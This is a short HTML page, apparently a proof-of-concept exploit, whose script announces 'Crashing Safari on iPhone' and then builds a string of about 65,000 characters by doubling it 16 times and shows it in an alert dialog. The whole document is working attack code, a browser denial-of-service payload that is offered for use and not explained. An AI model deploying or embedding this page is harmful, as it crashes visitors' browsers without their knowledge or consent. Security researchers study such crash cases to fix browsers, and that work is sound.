&lt;html&gt;
&lt;body&gt;
&lt;form&gt;
&lt;script type=&quot;text/javascript&quot; language=&quot;JavaScript&quot;&gt;

var st = &quot;A&quot;;
alert ( &quot;Crashing Safari on iPhone...&quot; );


for ( var d = 1 ; d &lt;= 16 ; d ++ )
{
st += st;
}

alert ( st );

&lt;/script&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;